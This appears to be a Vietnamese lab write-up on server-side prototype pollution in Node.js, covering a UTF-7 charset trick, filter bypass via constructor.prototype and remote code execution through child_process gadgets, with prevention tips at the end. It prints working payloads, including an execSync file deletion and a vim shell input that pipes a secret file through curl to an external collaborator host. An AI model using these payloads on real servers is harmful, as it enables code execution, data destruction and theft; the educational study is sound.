Xem xΓ©t kα»Ή hΓ m getCharset() dường nhΖ° cΓ‘c dev Δ‘Γ£ dα»± kiαΊΏn Content-Type header cΓ³ thể chα»©a cΓ‘c charset khΓ΄ng rΓ΅ rΓ ng bởi vαΊ­y họ Δ‘Γ£ thα»±c hiện mα»™t sα»‘ logic để revert mα»™t chuα»—i trα»‘ng trong trường hợp nΓ y.

  • VΓ­ dα»₯ trong UTF-7 thΓ¬ foo lΓ  +AGYAbwBv-

{ "sessionId":"0123456789", "username":"wiener", "role":"+AGYAbwBv-" }

  • Gα»­i request Δ‘i mΓ  server khΓ΄ng sα»­ dα»₯ng UTF-7 encode theo default bởi vαΊ­y chuα»—i string trΓͺn sαΊ½ xuαΊ₯t hiện ở dαΊ‘ng được encode.

  • Thα»­ polluted prototype qua content-type property bαΊ±ng cΓ‘c charset UFT-7:

{ "sessionId":"0123456789", "username":"wiener", "role":"default", "proto":{ "content-type": "application/json; charset=utf-7" }

  • Gα»­i lαΊ‘i request ở Δ‘αΊ§u tiΓͺn. nαΊΏu cΓ³ thể polluted content-type theo UTF-7 vα»«a được inject thΓ¬ res sαΊ½ nhΖ° nΓ y:

{ "sessionId":"0123456789", "username":"wiener", "role":"foo" }

Do mα»™t bug trong _http_incoming module mΓ  Δ‘iều nΓ y vαΊ«n hoαΊ‘t Δ‘α»™ng ngay cαΊ£ khi loαΊ‘i bỏ header Content-Type . Để trΓ‘ng overwrite properties thΓ¬ hΓ m _addHeaderLine() sαΊ½ check xem cΓ³ property nΓ o trΓΉng lαΊ·p khΓ΄ng được khi chuyển tα»›i IncomingMessage Object

@protection: Khi nΓ y header sαΊ½ được xα»­ lΓ½ loαΊ‘i bỏ mα»™t cΓ‘ch hiệu quαΊ£.

Scanning for server-side prototype pollution sources

ChΓΊng ta cΓ³ thể sα»­ dα»₯ng Burp suite vα»›i extension Server-Side Prototype Pollution Scanner để quΓ©t.

Bypassing input filters for server-side prototype pollution

CΓ‘c trang web thường cα»‘ gαΊ―ng ngΔƒn chαΊ·n hoαΊ·c vΓ‘ cΓ‘c lα»— hα»•ng prototype pollution bαΊ±ng cΓ‘ch filter cΓ‘c key Δ‘Γ‘ng ngờ nhΖ° __proto__, nhΖ°ng nΓ³ cΓ³ thể bα»‹ bypass

VΓ­ dα»₯, kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể:

  • Obfuscate cΓ‘c tα»« khΓ³a bα»‹ cαΊ₯m để chΓΊng bα»‹ bỏ sΓ³t trong quΓ‘ trΓ¬nh filter. Bypassing flawed key sanitization.

  • Truy cαΊ­p prototype thΓ΄ng qua constructor thay vΓ¬ __proto__.

CΓ‘c App code tα»« nodejs cΓ³ thể xΓ³a hoαΊ·c tαΊ―t hoΓ n toΓ n __proto__ bαΊ±ng cΓ‘ch sα»­ dα»₯ng command-line flags --disable-proto=delete hoαΊ·c --disable-proto=throw tΖ°Ζ‘ng α»©ng. Tuy nhiΓͺn, Δ‘iều nΓ y cΕ©ng cΓ³ thể được bypass bαΊ±ng cΓ‘ch sα»­ dα»₯ng constructor.

"constructor":{ "prototype":{ "isAdmin":true}}

Remote code execution via server-side prototype pollution

Identifying a vulnerable request

Để exec shell trong Node,cΓ³ thể sα»­ dα»₯ng mΓ΄-Δ‘un child_ process. child_process lΓ  mα»™t module trong Node.js, cho phΓ©p tαΊ‘o ra cΓ‘c tiαΊΏn trΓ¬nh con (child process) để thα»±c hiện cΓ‘c tΓ‘c vα»₯ bαΊ₯t Δ‘α»“ng bα»™ (asynchronous) mΓ  khΓ΄ng αΊ£nh hưởng Δ‘αΊΏn tiαΊΏn trΓ¬nh chΓ­nh (main process).

BiαΊΏn mΓ΄i trường NODE_OPTIONS cho xΓ‘c Δ‘α»‹nh mα»™t chuα»—i command-line arguments sαΊ½ được sα»­ dα»₯ng theo mαΊ·c Δ‘α»‹nh bαΊ₯t cα»© khi nΓ o bαΊ―t Δ‘αΊ§u Node process mα»›i. VΓ¬ Δ‘Γ’y cΕ©ng lΓ  property trΓͺn object env, cΓ³ thể pollution được.

Mα»™t sα»‘ functions cα»§a Node để tαΊ‘o cΓ‘c child processes mα»›i chαΊ₯p nhαΊ­n shell property tΓΉy chọn, cho phΓ©p cΓ‘c dev Δ‘αΊ·t mα»™t shell cα»₯ thể, chαΊ³ng hαΊ‘n nhΖ° bash, để chαΊ‘y cΓ‘c lệnh trong Δ‘Γ³. BαΊ±ng cΓ‘ch kαΊΏt hợp Δ‘iều nΓ y vα»›i property NODE_OPTIONS ,cΓ³ thể lΓ m pollution bαΊ±ng cΓ‘c res về server hacker.

Remote code execution via child_process.fork() and child_process.execSync()

CΓ‘c methods nhΖ° child_ process.spawn() vΓ  child_ process.fork() cho phΓ©p cΓ‘c dev tαΊ‘o cΓ‘c child process Node mα»›i. PhΖ°Ζ‘ng thα»©c fork() chαΊ₯p nhαΊ­n mα»™t object tΓΉy chọn trong Δ‘Γ³ mα»™t trong cΓ‘c tΓΉy chọn tiềm nΔƒng lΓ  execArgv property. ĐÒy lΓ  mα»™t araycΓ‘c chuα»—i chα»©a cΓ‘c command-line arguments nΓͺn được sα»­ dα»₯ng khi sinh ra child process.

VΓ¬ gadget nΓ y cho phΓ©p kiểm soΓ‘t trα»±c tiαΊΏp command-line arguments, Δ‘iều nΓ y cho phΓ©p truy cαΊ­p vΓ o mα»™t sα»‘ vectΖ‘ tαΊ₯n cΓ΄ng khΓ΄ng thể thα»±c hiện được khi sα»­ dα»₯ng NODE_OPTIONS.

Quan tΓ’m Δ‘αΊ·c biệt lΓ  Δ‘α»‘i sα»‘ --eval, cho phΓ©p bαΊ‘n chuyển JavaScript tΓΉy Γ½ sαΊ½ được child process thα»±c thi.

NgoΓ i fork() thΓ¬ cΓ²n cΓ³ execSync() cΓ³ thể RCE.

Sα»­ dα»₯ng Δ‘α»‘i sα»‘ --eval để rce:

"__proto__":{"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]}

curl -X POST -d @- lΓ  mα»™t cΓ’u lệnh dΓ²ng lệnh sα»­ dα»₯ng chΖ°Ζ‘ng trΓ¬nh cURL để gα»­i mα»™t yΓͺu cαΊ§u HTTP POST Δ‘αΊΏn mα»™t URL cα»₯ thể vΓ  gα»­i dα»― liệu được lαΊ₯y tα»« Δ‘αΊ§u vΓ o tiΓͺu chuαΊ©n (stdin).

Cα»₯ thể, -X POST sα»­ dα»₯ng phΖ°Ζ‘ng thα»©c POST để gα»­i yΓͺu cαΊ§u HTTP, -d (hoαΊ·c --data) được sα»­ dα»₯ng để chỉ Δ‘α»‹nh dα»― liệu gα»­i trong yΓͺu cαΊ§u vΓ  @- cho phΓ©p cURL đọc dα»― liệu tα»« Δ‘αΊ§u vΓ o tiΓͺu chuαΊ©n (stdin).

VΓ¬ @- được sα»­ dα»₯ng để đọc dα»― liệu tα»« Δ‘αΊ§u vΓ o tiΓͺu chuαΊ©n, nΓ³ cho phΓ©p bαΊ‘n gα»­i dα»― liệu tα»›i mα»™t yΓͺu cαΊ§u HTTP mΓ  khΓ΄ng cαΊ§n phαΊ£i tαΊ‘o mα»™t tệp tin riΓͺng để chα»©a dα»― liệu Δ‘Γ³. Điều nΓ y rαΊ₯t hα»―u Γ­ch trong cΓ‘c trường hợp bαΊ‘n muα»‘n gα»­i dα»― liệu Δ‘α»™ng hoαΊ·c dα»― liệu được tαΊ‘o ra bởi mα»™t lệnh khΓ‘c trong cΓΉng mα»™t đường α»‘ng (pipeline).

VΓ­ dα»₯: echo '{"name": "John", "age": 30}' | curl -X POST -d @- https://example.com/api sαΊ½ gα»­i mα»™t yΓͺu cαΊ§u POST Δ‘αΊΏn https://example.com/api vα»›i dα»― liệu Δ‘αΊ§u vΓ o lΓ  {"name": "John", "age": 30}.

Thường thΓ¬ lα»— hα»•ng nΓ y nΓ³ sαΊ½ khΓ΄ng trαΊ£ dα»― liệu ra ngoΓ i nΓͺn chΓΊng ta cαΊ§n RCE rα»“i gα»­i tα»›i Server cα»§a chΓΊng ta để lαΊ₯y dα»― liệu.

Ở lab dΖ°α»›i thi chΓΊng ta sαΊ½ sα»­ dα»₯ng cΓ‘c properties shell vΓ  input nαΊΏu execArgv bα»‹ chαΊ·n thα»±c hiện shell bαΊ±ng vim lΓ  phα»• biαΊΏn nhαΊ₯t sau Δ‘Γ³ ghi input vΓ o vΓ  request tα»›i server cα»§a mΓ¬nh

"__proto__":{ "shell":"vim", "input":":!cat /home/carlos/secret | base64 | curl -d @- https://558lzpd3v31f3icjmj1lvpjir9x0lp.oastify.com \n"}

DΓΉng ip-request ngoΓ i khΓ΄ng hiểu sao nΓ³ khΓ΄ng nhαΊ­n được res.

Preventing prototype pollution vulnerabilities

Để khαΊ―c phα»₯c lα»— hα»•ng prototype pollution thΓ¬ cΓ³ thể cΓ³ mα»™t sα»‘ cΓ‘ch sau:

  1. Đóng bΔƒng cΓ‘c properties bαΊ±ng Object.freeze(Object.prototype)

  2. Thα»±c hiện validation trΓͺn cΓ‘c input JSON theo Δ‘ΓΊng schema cα»§a α»©ng dα»₯ng

  1. TrΓ‘nh sα»­ dα»₯ng cΓ‘c hΓ m cΓ³ ghΓ©p đệ quy (recursive merge) cΓ‘c Δ‘α»‘i tượng mα»™t cΓ‘ch khΓ΄ng an toΓ n

  1. Sα»­ dα»₯ng Δ‘α»‘i tượng khΓ΄ng cΓ³ thuα»™c tΓ­nh prototype, vΓ­ dα»₯ Object.create(null) để trΓ‘nh αΊ£nh hưởng Δ‘αΊΏn prototype chain

  1. Sα»­ dα»₯ng Map thay vΓ¬ Object

Tα»•ng kαΊΏt

CαΊ£m Ζ‘n cΓ‘c bαΊ‘n Δ‘Γ£ đọc bΓ i viαΊΏt, tα»« cΓ‘c bΓ i sau mΓ¬nh sαΊ½ chỉ note lαΊ‘i kiαΊΏn thα»©c chΓ­nh vΓ  sαΊ½ k viαΊΏt chi tiαΊΏt nα»―a thay vΓ o Δ‘Γ³ viαΊΏt cΓ‘ch solve cΓ‘c bΓ i lab.

Last updated